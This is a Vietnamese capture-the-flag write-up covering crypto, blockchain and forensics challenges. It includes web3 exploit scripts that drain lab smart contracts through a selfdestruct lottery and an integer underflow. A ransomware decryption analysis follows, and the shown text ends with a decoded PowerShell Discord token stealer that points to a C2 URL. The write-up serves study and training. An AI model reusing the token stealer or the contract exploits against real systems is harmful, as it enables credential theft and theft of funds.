    f = H / int2pre(2**b + 2**d)
    numer = int2pre(H1) - f * int2pre(2**b)
    ac = get_a_and_c(numer)
    if not ac: return None
    for (a, c) in ac:
        e = numer / int2pre(2**a)
        e = pre2int(PR(e))
        f = pre2int(PR(f))
        if sorted([a, b, c, d]) in used_states: continue
        if H1 == _ROL_(e, a) ^ _ROL_(f, b) and H2 == _ROL_(e, c) ^ _ROL_(f, d):
            used_states.append(sorted([a, b, c, d]))
            state = a, b, c, d, e, f
            return state

bd = get_all_bd()
while True:
    used_states = []
    visited = []
    done = 0
    io = process(['python3', 'server.py'])
    for _ in range(3):
        state = solve(io, bd, used_states, visited)
        if state:
            a, b, c, d, e, f = state
            io.sendlineafter(b' :: ', f'{a},{b},{c},{d},{e},{f}'.encode())
            done += 1
            print(f'Finish round number {done} !!!')

            if done == 3:
                io.recvline()
                print(io.recvline().decode())
                exit()
        else:
            print('Try again!!!')
            io.close()
            break

(Code hơi dài và khó viết nên quả thật bài này Insane cũng đáng)

  • Cách attack cũng chỉ vậy thôi, tuy nhiên lại nằm ở việc khai thác ROL, GF(2**128) và việc tìm collision cho hàm băm nên bài này thực sự rất hay, xứng đáng 💯

Flag

HTB{k33p_r0t4t1ng_4nd_r0t4t1ng_4nd_x0r1ng_4nd_r0t4t1ng!}


BlockChain

Introduction

Trước hết thì với mình, mảng Blockchain này hoàn toàn mới và có rất nhiều thứ mình cần học. Tuy nhiên trong quá trình tham gia giải thì mình được mọi người support khá nhiều, shout-out anh Mạnh AT18, anh lilthawg29 với ông bạn lỏ Thụy AT20. Về flow của các challs dưới đây thì có thể mình chưa thể nắm hết được nhưng mình sẽ cố gắng trình bày chính xác nhất có thể, thanks for reading ❤️

Russian Roulette

Description

  • Setup.sol:
pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}
  • RussianRoulette.sol:
pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
        return "im SAFU ... for now";
        }
    }
}

Solution

Bài này thì có hai file, file Setup.sol sẽ được thực thi chính, và flow của chương trình sẽ như sau (cũng có thể hỏi ChatGPT nếu stuck):

  • Khai báo một contract tên Setup

  • Khai báo một biến TARGET (biến immutable, tạm hiểu là không thể thay đổi, giống với chức năng của biến constant ). Bên cạnh đó TARGET thuộc kiểu RussianRoulette (đã import từ file RussianRoulette.sol)

  • Khai báo một hàm khởi tạo, trong hàm này gán TARGET bằng địa chỉ của RussianRoulette và 10 Ether khởi tạo

  • Khai báo hàm isSolved(), dùng để kiểm tra số dư của TARGET, nếu bằng 0 thì trả về True

Mình sẽ đi sâu một chút vào phân tích file RussianRoulette.sol:

  • Khai báo hàm khởi tạo (nhưng chả có gì ngoài dòng comment cho vui 🐒)

  • Khai báo hàm pullTrigger(), hàm này chúng ta có thể call được. Hàm này sẽ check nếu hash của block trước mod 10 bằng 7 thì tự hủy luôn (selfdestruct), thực ra là nó sẽ gửi tất cả tiền về cho mình, nếu không thì in ra dòng im SAFU ... for now (thực ra chẳng SAFU nổi đâu vì mình sắp cho nó đi bán muối rồi 😈 )

Rồi, vậy thì mục tiêu chính của bài là lấy tất cả tiền của thằng TARGET kia rồi mình sẽ nhận được flag. Có một điều mình chưa nói là khi Spawn Docker của bài sẽ có 2 ports cho 1 id. Thực chất 1 port là để connect để lấy thông tin còn 1 port để nc với server (để lấy flag) thôi.

Mình sẽ nói về cách exploit ở đây. Đầu tiên nếu ai chưa tiếp xúc với solidity bao giờ, nói chung là smart contract đi, thì sẽ rất khó để hiểu code và viết nó ra sao. Mình cũng thế và toàn bộ code là do ChatGPT viết, cái chính ở đây sẽ là idea để khai thác. Hàm duy nhất mình có thể attack ở đây là pullTrigger() vì mình tương tác với nó mà, bên cạnh đó hàm cũng là cách duy nhất để thó sạch tiền của thằng cu TARGET kia. Hàm này kiểm tra hash của block trước, nhưng bố ai biết được block trước như nào 🐧, vậy nên khá may rủi. Tuy nhiên, hàm không giới hạn lần gọi, nên mình sẽ gọi nhiều lần pullTrigger() cho đến khi thó được tiền thì thôi. Idea đơn giản như thế nhưng code gần trăm dòng chứ ít 🐧

Full script:

import eth_account
from web3 import Web3

w3 = Web3(Web3.HTTPProvider('http://94.237.53.81:39438'))

Private_key = '0xe1fc19baee3e2ec693eb28626a41d1f0fa297b2481b66e0b7bcad143bb4ffa38'
Address = '0xAe0CEeDB8238725A8BdCCeF55161d06Fb1e111F0'
Target_contract = '0x251478952cDF5819e5C901db75a1E12B65Af3122'
Setup_contract = '0x1176a5a7413241ECA579B5d38290b8fe31e24FE9'

my_account = eth_account.Account.from_key(Private_key)

SETUP_CONTRACT_ABI = [
    {
        "inputs": [],
        "stateMutability": "nonpayable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "TARGET",
        "outputs": [
            {
                "internalType": "contract RussianRoulette",
                "name": "",
                "type": "address"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "isSolved",
        "outputs": [
            {
                "internalType": "bool",
                "name": "",
                "type": "bool"
            }
        ],
        "stateMutability": "view",
        "type": "function"
    }
]

TARGET_CONTRACT_ABI = [
    {
        "inputs": [],
        "stateMutability": "payable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "pullTrigger",
        "outputs": [
            {
                "internalType": "string",
                "name": "",
                "type": "string"
            }
        ],
        "stateMutability": "payable",
        "type": "function"
    }
]

Setup_contract = w3.eth.contract(address=Setup_contract, abi=SETUP_CONTRACT_ABI)
Target_contract = w3.eth.contract(address=Target_contract, abi=TARGET_CONTRACT_ABI)

while True:
    is_solved = Setup_contract.functions.isSolved().call()
    if is_solved:
        print("Target contract is already solved!")
        break
    tx = Target_contract.functions.pullTrigger().build_transaction({
        'gas': 200000,
        'gasPrice': w3.to_wei('5', 'gwei'),
        'nonce': w3.eth.get_transaction_count(Address),
    })
    signed_tx = w3.eth.account.sign_transaction(tx, Private_key)
    tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    print("Transaction sent:", tx_hash.hex())

(để chạy được code này thì cần spawn docker, lấy ip server, lấy info, cài đặt thư viện web3, nói chung là nhiều lắm nên cách này cũng hơi lỏ 🐒)

Sau khi thó tiền thì quay lại port 2 kia để lấy flag. Done 💰

  • TARGET

Flag

HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

Note

Bên cạnh đó, mình có thể sử dụng một tool lỏ có tên là Foundry nhưng tạm thời mình chưa tìm hiểu kĩ nên thôi 🐒

Lucky Faucet

Description

  • Setup.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

import {LuckyFaucet} from "./LuckyFaucet.sol";

contract Setup {
    LuckyFaucet public immutable TARGET;

    uint256 constant INITIAL_BALANCE = 500 ether;

    constructor() payable {
        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
    }
}
  • LuckyFaucet:
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract LuckyFaucet {
    int64 public upperBound;
    int64 public lowerBound;

    constructor() payable {
        // start with 50M-100M wei Range until player changes it
        upperBound = 100_000_000;
        lowerBound =  50_000_000;
    }

    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);
        // why? because if you don't need this much, pls lower the upper bound :)
        // we don't have infinite money glitch.
        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }

    function sendRandomETH() public returns (bool, uint64) {
        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
        // we can safely cast to uint64 since we'll never 
        // have to worry about sending more than 2**64 - 1 wei 
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
        bool sent = msg.sender.send(amountToSend);
        return (sent, amountToSend);
    }
}

Solution

  • Sau khi trải nghiệm một bài blockchain đơn giản thì mình bị quẳng ngay một bài lỏ. Mình sẽ chỉ giải thích điều kiện để lấy được flag, phân tích những gì mình có và cách exploit thui.

  • Trước tiên đọc file Setup.sol biết được:

    • TARGET của mình có 500 Ether khởi tạo

    • Lấy được flag khi tiền của TARGET bị hụt đi 10 Ether

  • Còn với file LuckyFaucet:

    • Khai báo hai mức Bound, một là max một là min

    • Khai báo một hàm setBounds() cho phép mình thay đổi Bound

    • Khai báo hàm sendRandomETH(). Hàm này như một cái vòi nước từ túi của TARGET, dùng để gửi tiền cho mình nhưng là tiền trong giới hạn Bound thôi.

  • Qua phân tích trên, cộng với việc hàm setBounds() là hàm mình có thể call vào, thì chắc chắn lỗ hổng nằm ở đây. Mình cần lấy đi Ether từ TARGET, mà tiền của TARGET phụ thuộc vào Bound do mình set, vậy nên đây là hướng đi.

  • Tất nhiên, câu hỏi sẽ là Bound như nào mới bypass, vậy mình cần phân tích lượng tiền mà nó gửi:

uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound)
  • Mình cần làm sao cho lượng amountToSend càng lớn càng tốt. Bên cạnh đó, trong Solidity, nếu mình khai báo một số k < 0 ở dạng uint64, số trả về sẽ cực lớn, cụ thể là uint64(k) = 2**64 + k. Sure về hướng exploit rồi, giờ thì tới code thôi:
import eth_account
from web3 import Web3

RPC = ''
private_key = ''
address = ''
target_contract_address = ''

w3 = Web3(Web3.HTTPProvider(RPC))

target_contract_abi = [
    {
        "inputs": [],
        "stateMutability": "payable",
        "type": "constructor"
    },
    {
        "inputs": [],
        "name": "upperBound",
        "outputs": [{"internalType": "int64", "name": "", "type": "int64"}],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "lowerBound",
        "outputs": [{"internalType": "int64", "name": "", "type": "int64"}],
        "stateMutability": "view",
        "type": "function"
    },
    {
        "inputs": [],
        "name": "sendRandomETH",
        "outputs": [{"internalType": "bool", "name": "", "type": "bool"}, {"internalType": "uint64", "name": "", "type": "uint64"}],
        "stateMutability": "nonpayable",
        "type": "function"
    },
    {
        "inputs": [{"internalType": "int64", "name": "_newLowerBound", "type": "int64"}, {"internalType": "int64", "name": "_newUpperBound", "type": "int64"}],
        "name": "setBounds",
        "outputs": [],
        "stateMutability": "nonpayable",
        "type": "function"
    }
]

my_account = eth_account.Account.from_key(private_key)
w3.eth.default_account = my_account.address
target_contract = w3.eth.contract(address=target_contract_address, abi=target_contract_abi)
target_contract.functions.setBounds(-10000000000000000, 100000000).transact()

tx_hash = target_contract.functions.sendRandomETH().transact()
tx_receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
print("Transaction successful")

if w3.eth.get_balance(my_account.address) >= 10 * 10**18:
    print("Exploited successfully!")
else:
    print("Set bounds again!")

(Nhớ thay thế các giá trị vào nha ❤️)

TARGET

Flag

HTB{1_f0rg0r_s0m3_U}

Note

  • Cần lưu ý tiền chỉ gửi một lần nên không thể set vòng lặp như bài trước đâu 💸:

  • 10 Ether tương đương với 10 * 10**18 wei và tiền giao dịch theo đơn vị wei nên có phép so sánh ở dòng 56 kia 💰.

Recovery

Description

  • We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept.

  • We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins?

  • Username: satoshi

  • Password: L4mb0Pr0j3ct

  • NOTE: Network is regtest, check connection info in the handler first.

Solution

Đây là chall duy nhất trong Blockchain không cho một file gì 🐧, bên cạnh đó còn cho 1 IP nhưng với 3 Ports, siêu lỏ.

Mình sẽ phân tích 3 Ports và cách dùng:

  • Port 1: Vác vào SSH để lấy seed - sử dụng để recover lại ví (Dùng với Electrum)

  • Port 2: Dùng để tạo một network loại regtest - dùng cho thí nghiệm và không ảnh hưởng đến các lưu thông tiền ảo bên ngoài.

  • Port 3: Tương tác với server và lấy flag - dùng nc

Mình sẽ tổng hợp các bước và thông tin ở dưới đây (theo thời điểm làm bài của mình vì Docker mỗi người một khác):

IP: 94.237.50.175

PORT 1: 41769
ssh satoshi@94.237.50.175 -p 41769
L4mb0Pr0j3ct
--------------------------------------------------
PORT 2: 31819
& "E:\Electrum\electrum-4.5.3.exe" --regtest --oneserver -s 94.237.50.175:31819:t
--------------------------------------------------
PORT 3: 37501
nc 94.237.50.175 37501
  • Các bước:

    1

    --> Seed: fortune bubble wealth all sure sun awful agree energy possible margin green

    2

  • Nhập vài thông tin linh tinh, chọn Standard wallet rồi I already have a seed

    3

  • Nhảy ra như thế này là oke

    4

  • Chúng ta sẽ quay sang nc để lấy thông tin người cần gửi

    5

  • Tới đây lấy thông tài tài khoản đích:

    --> Address: bcrt1qs7qqy5573cqqd6d3uj7htn2x02hqrk3yde3ygr

  • Quay lại Electrum và giao dịch

    6

    7

    8

  • Rồi back lại server lấy flag là xong

    9

Flag

HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}

Note

Bài này mình được Thụy AT20 support, sau khi làm thì thấy chall chả khác 🐶 gì Forensics very easy cả 🐧

Ledger Heist

Description

Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system's vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime's economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors' grip on power.

  • Errors.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

error NotSupported(address token);
error CallbackFailed();
error LoanNotRepaid();
error InsufficientBalance();
  • Events.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface Events {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event FlashLoanSuccessful(
        address indexed target, address indexed initiator, address indexed token, uint256 amount, uint256 fee
    );
    event FeesUpdated(address indexed token, address indexed user, uint256 fees);
}
  • FixedPointMath.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

library FixedMathLib {
    function fixedMulFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) {
        return self * b / denominator;
    }

    function fixedMulCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) {
        uint256 _mul = self * b;
        if (_mul % denominator == 0) {
            result = _mul / denominator;
        } else {
            result = _mul / denominator + 1;
        }
    }

    function fixedDivFloor(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256) {
        return self * denominator / b;
    }

    function fixedDivCeil(uint256 self, uint256 b, uint256 denominator) internal pure returns (uint256 result) {
        uint256 _mul = self * denominator;
        if (_mul % b == 0) {
            result = _mul / b;
        } else {
            result = _mul / b + 1;
        }
    }
}
  • Interfaces.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

interface IERC20Minimal {
    function transfer(address to, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
}

interface IERC3156FlashBorrower {
    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data)
        external
        returns (bytes32);
}
  • LoanPool.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {FixedMathLib} from "./FixedPointMath.sol";
import "./Errors.sol";
import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol";
import {Events} from "./Events.sol";

struct UserRecord {
    uint256 feePerShare;
    uint256 fees;
    uint256 balance;
}

contract LoanPool is Events {
    using FixedMathLib for uint256;

    uint256 constant BONE = 10 ** 18;

    address public underlying;
    uint256 public totalSupply;
    uint256 public feePerShare;
    mapping(address => UserRecord) public userRecords;

    constructor(address _underlying) {
        underlying = _underlying;
    }

    function deposit(uint256 amount) external {
        address _msgsender = msg.sender;

        _updateFees(_msgsender);
        IERC20Minimal(underlying).transferFrom(_msgsender, address(this), amount);

        _mint(_msgsender, amount);
    }

    function withdraw(uint256 amount) external {
        address _msgsender = msg.sender;

        if (userRecords[_msgsender].balance < amount) {
            revert InsufficientBalance();
        }

        _updateFees(_msgsender);
        _burn(_msgsender, amount);

        // Send also any fees accumulated to user
        uint256 fees = userRecords[_msgsender].fees;
        if (fees > 0) {
            userRecords[_msgsender].fees = 0;
            amount += fees;
            emit FeesUpdated(underlying, _msgsender, fees);
        }

        IERC20Minimal(underlying).transfer(_msgsender, amount);
    }

    function balanceOf(address account) public view returns (uint256) {
        return userRecords[account].balance;
    }

    // Flash loan EIP
    function maxFlashLoan(address token) external view returns (uint256) {
        if (token != underlying) {
            revert NotSupported(token);
        }
        return IERC20Minimal(token).balanceOf(address(this));
    }

    function flashFee(address token, uint256 amount) external view returns (uint256) {
        if (token != underlying) {
            revert NotSupported(token);
        }
        return _computeFee(amount);
    }

    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
        external
        returns (bool)
    {
        if (token != underlying) {
            revert NotSupported(token);
        }

        IERC20Minimal _token = IERC20Minimal(underlying);
        uint256 _balanceBefore = _token.balanceOf(address(this));

        if (amount > _balanceBefore) {
            revert InsufficientBalance();
        }

        uint256 _fee = _computeFee(amount);
        _token.transfer(address(receiver), amount);

        if (
            receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
                != keccak256("ERC3156FlashBorrower.onFlashLoan")
        ) {
            revert CallbackFailed();
        }

        uint256 _balanceAfter = _token.balanceOf(address(this));
        if (_balanceAfter < _balanceBefore + _fee) {
            revert LoanNotRepaid();
        }

        // Accumulate fees and update feePerShare
        uint256 interest = _balanceAfter - _balanceBefore;
        feePerShare += interest.fixedDivFloor(totalSupply, BONE);

        emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
        return true;
    }

    // Private methods
    function _mint(address to, uint256 amount) private {
        totalSupply += amount;
        userRecords[to].balance += amount;

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) private {
        totalSupply -= amount;
        userRecords[from].balance -= amount;

        emit Transfer(from, address(0), amount);
    }

    function _updateFees(address _user) private {
        UserRecord storage record = userRecords[_user];
        uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE);

        record.fees += fees;
        record.feePerShare = feePerShare;

        emit FeesUpdated(underlying, _user, fees);
    }

    function _computeFee(uint256 amount) private pure returns (uint256) {
        // 0.05% fee
        return amount.fixedMulCeil(5 * BONE / 10_000, BONE);
    }
}
  • Setup.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {LoanPool} from "./LoanPool.sol";
import {Token} from "./Token.sol";

contract Setup {
    LoanPool public immutable TARGET;
    Token public immutable TOKEN;

    constructor(address _user) {
        TOKEN = new Token(_user);
        TARGET = new LoanPool(address(TOKEN));

        TOKEN.approve(address(TARGET), type(uint256).max);
        TARGET.deposit(10 ether);
    }

    function isSolved() public view returns (bool) {
        return (TARGET.totalSupply() == 10 ether && TOKEN.balanceOf(address(TARGET)) < 10 ether);
    }
}
  • Token.sol:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Events} from "./Events.sol";

contract Token is Events {
    string public name = "Token";
    string public symbol = "Tok";
    uint8 public immutable decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(address _user) payable {
        _mint(msg.sender, 10 ether);
        _mint(_user, 1 ether);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        allowance[from][msg.sender] -= amount;

        balanceOf[from] -= amount;
        balanceOf[to] += amount;

        emit Transfer(from, to, amount);

        return true;
    }

    function _mint(address to, uint256 amount) private {
        balanceOf[to] += amount;
        totalSupply += amount;

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) private {
        balanceOf[from] -= amount;
        totalSupply -= amount;

        emit Transfer(from, address(0), amount);
    }
}

Solution

Viết thế này thôi chứ mình biết giải 🐶 đâu mà 🐧. Hẹn gặp lại vào một ngày mình lỏ hơn 💰


Forensic

An_unusual_sighting

credit: Nex0

Trace log và trả lời câu hỏi sau khi connect tới instance.

  1. What is the IP Address and Port of the SSH Server (IP:PORT)

Dễ thấy nó listen ở port 2221 và khi có connect tới, ta có IP:

image

Ans: 100.107.36.130:2221

  1. What time is the first successful Login

image

Ans: 2024-02-13 11:29:50

  1. What is the time of the unusual Login

Tại file bash, ta thấy root có add user mới tên softdev và config hệ thống các thứ. Trace lại ở ssh log, có 2 lần login vào root, đặc biệt là lần thứ 2 match với command whoami trong bash (sussy :D).

Từ đó ta có time của unusual login:

Ans: 2024-02-19 04:00:14

  1. What is the Fingerprint of the attacker's public key

Ngay bên cạnh time đó trong log luôn.

Ans: OPkBSs6okUKraq8pYo4XwwBg55QSo210F09FCe1-yj4

  1. What is the first command the attacker executed after logging in

Trace theo thời gian như trên ta đã nói thôi, là whoami

Ans: whoami

  1. What is the final command the attacker executed before logging out

Attacker thoát ssh lúc 2024-02-19 04:38:17, ta có command cuối cùng gần nhất với time này là:

Ans: ./setup

Flag: HTB{B3sT_0f_luck_1n_th3_Fr4y!!}

Confinement

credit: Nex0

Đề cho 1 file ad1, load bằng FTK Imager và phân tích. Trong các folder Document thì file bị encrypt, 1 số file bị sửa mỗi byte đầu nên lúc đó mình chưa hiểu là ransomware kiểu gì:v Trôn VN.

Recent các thứ cũng không có gì, nên mình chuyển qua đọc log.

Tại log Microsoft-Windows-Powershell-Operational, event id 4104 (common:v), mình trace được command:

image

Sussy XD, sau whoami là 1 loạt các command như sau:

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

image

Tổng kết lại là sau khi có shell, attacker check info domain, ip,... tải về zip chứa 1 mớ các exe gì gì đó. Ta có thể xem đầy đủ trong prefetch của 7z:

image

Attacker chạy 1 số con exe trong đấy, sau đó gỡ Windows Defender đi.

Sau khi chạy 1 số exe trong này, attacker đã xóa file zip và các exe liên quan trong Documents, nên lúc đấy mình không nghĩ ra hướng nào nữa.

Tuy nhiên, attacker chạy xong exe mới gỡ Windows Defender bằng Dism 🐸, điều này hướng mình tới Log Firewall có thể còn thông tin gì đó.

Chính đây là thời điểm Dism Defender:

Ta trace ngược lại 1 ít thời gian:

image

Ở đây ta thấy con intel.exe trước đó đã bị detect và quarantined. Củng cố hơn cho việc đây là con ransom, tại Powershell log ban nãy, ta có thấy con intel.exe chạy bị lỗi gì đó, Werfault được gọi lên và ghi lại report, tại path Program Data\Microsoft\Windows\WER ta có thể tìm thấy crash folder của intel.exe, tại đó chứa wer report của nó. Original filename là Encrypter.exe =))

image

Sau khi dạo quanh google 1 đêm, mình đọc được 1 bài này:

Tức là vẫn còn cách để khôi phục. Mình nhận ra tiềm năng từ đây :)), mình bắt đầu google 1 số thứ liên quan và tìm hiểu được rằng, file bị detect sẽ được quarantine vào folder /Program Data/Windows Defender/Quarantine, từ đó người dùng có thể tùy chọn remove hoặc restore file đó.

Mình tìm được tool sau: https://github.com/knez/defender-dump/tree/master

Tiến hành khôi phục thử thôi:

image

Ngon =)). Tiến hành RE thôi nào.

image

DotNet enjoyer!

Đầu tiên với hàm Main:

image

Vì là ransomware, mình sẽ tập trung vào các phần liên quan tới mã hóa thôi. Ta thấy nó tạo 1 object CoreEncrypter với param (passwordHasher.GetHashCode(Program.UID, Program.salt), alert.ValidateAlert(), Program.alertName,Program.email)

Tiếp tục đi vào class passwordHasher, nó nối password và salt vào:

image

Password ở đây là UID và Salt từ class Program:

  • Salt:

    image

  • Password: Nó đang được set giá trị là null, nhưng nếu đọc kỹ thì tại hàm Main, biến này cũng được gọi lên để hàm GenerateUserID() gen giá trị rồi assign vào biến đó.

    GenerateUserID():

    image

    Hàm này gen ra 1 chuỗi 14 ký tự xen kẽ chuỗi và kí tự thôi.

    Sau khi gen xong, ta thấy nó được truyền vào object Alert với vai trò là AttackID, khi reference, ta dễ dàng thấy AttackID này được nhồi vào Html chứa thông báo tống tiền:

    image

    Vào folder bất kì có file bị encrypt rồi mở file HTA lên xem là ta có AttackID, đồng nghĩa với việc ta đã có password :v :

    image

Quay trở lại passwordHasher, nó gọi đến Hasher:

image

Thực hiện concat 2 cái trên ta vừa tìm được, sha512 lại rồi encode base64. Làm tương tự và mình có chuỗi sau:

A/b2e5CdOYWbfxqJxQ/Y4Xl4yj5gYqDoN0JQBIWAq5tCRPLlprP2GC87OXq92v1KhCIBTMLMKcfCuWo+kJdnPA==

Sau khi khởi tạo Object CoreEncrypter xong, tại Main, ta thấy nó gọi tới hàm Enc, và Enc lại gọi tới EncryptFile trong CoreCrypter. Ta cùng xem qua:

image

Đầu tiên nó derive key nhận vào 3 params:

  • Key: chính là param 1 truyền vào Object CoreEncrypter, cụ thể là chuỗi base64 ta tính được từ pass và salt ở trên:

A/b2e5CdOYWbfxqJxQ/Y4Xl4yj5gYqDoN0JQBIWAq5tCRPLlprP2GC87OXq92v1KhCIBTMLMKcfCuWo+kJdnPA==

  • Salt: là byte array trong code kia, mình convert sang hex:

0001010001010000

  • Iterations:

4953

Ngoài lề, sau khi đọc hết code, mình biết được các file vượt quá size mà nó xác định kia (đoạn if), thì nó chỉ mã hóa byte đầu thôi, điều này cũng clear cho mình hơn tại sao lại có ransomware troll thế :v

Derive key thôi!

image

Sau đó truncate nó thành 2 phần là key với iv, decrypt aes:

image

Header PK, decrypt xong rồi. Mở ra và ẵm flag thôi:

image

Flag: HTB{2_f34r_1s_4_ch01ce_322720914448bf9831435690c5835634}

Data Siege

credit: Nex0

C2 server, extract Exe từ Pcap ra và phân tích thôi :))

Exe .net, mình dùng dnspy.

Ta có salt của đoạn derive key trong hàm encrypt/decrypt sau khi decode là: Very_S3cr3t_S

image

Derive key, ta có thể tìm thấy password ngay trong code, salt ở bên trên. Ngoài ra còn 1 tham số nữa là Iteration, default value của nó ta có dựa vào đây:

https://referencesource.microsoft.com/#mscorlib/system/security/cryptography/rfc2898derivebytes.cs,78

Value = 1000:

image

Từ đó ta derive ra bytes sequence như sau:

image

Truncate nó và decrypt thôi, mình decrypt từng cái 1, tại đây mình có part 2 và part 1: h45b33n_r357

image

image

Tại đây chạy powershell với param encode:

image

Mình decode nó ra, ta sẽ thấy part 3 được set tên cho new schedule task:

image

Flag: HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}

Fake_Boost

credit: Nex0

Đề cấp 1 file pcapng. Tại tcp.streameq 3, ta thấy nó tải xuống 1 attachment là file ps1 tại dir /freediscordnitro. Cùng phân tích file ps1 này:

image

Đại khái là reverse xong decode base64 cái biến dài ngoằng ở trên, sau đó iex nó:

image

Full decoded script:

$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

function Steal {
    param (
        [string]$path
    )

    $tokens = @()

    try {
        Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {

            try {
                $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop

                foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
                    $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
                        $_.Matches.Value
                    }
                }
            } catch {}
        }
    } catch {}

    return $tokens
}

function GenerateDiscordNitroCodes {
    param (
        [int]$numberOfCodes = 10,
        [int]$codeLength = 16
    )

    $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    $codes = @()

    for ($i = 0; $i -lt $numberOfCodes; $i++) {
        $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
        $codes += $code
    }

    return $codes
}

function Get-DiscordUserInfo {
    [CmdletBinding()]
    Param (
        [Parameter(Mandatory = $true)]
        [string]$Token
    )

    process {
        try {
            $Headers = @{
                "Authorization" = $Token
                "Content-Type" = "application/json"
                "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
            }

            $Uri = "https://discord.com/api/v9/users/@me"

            $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
            return $Response
        }
        catch {}
    }
}

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
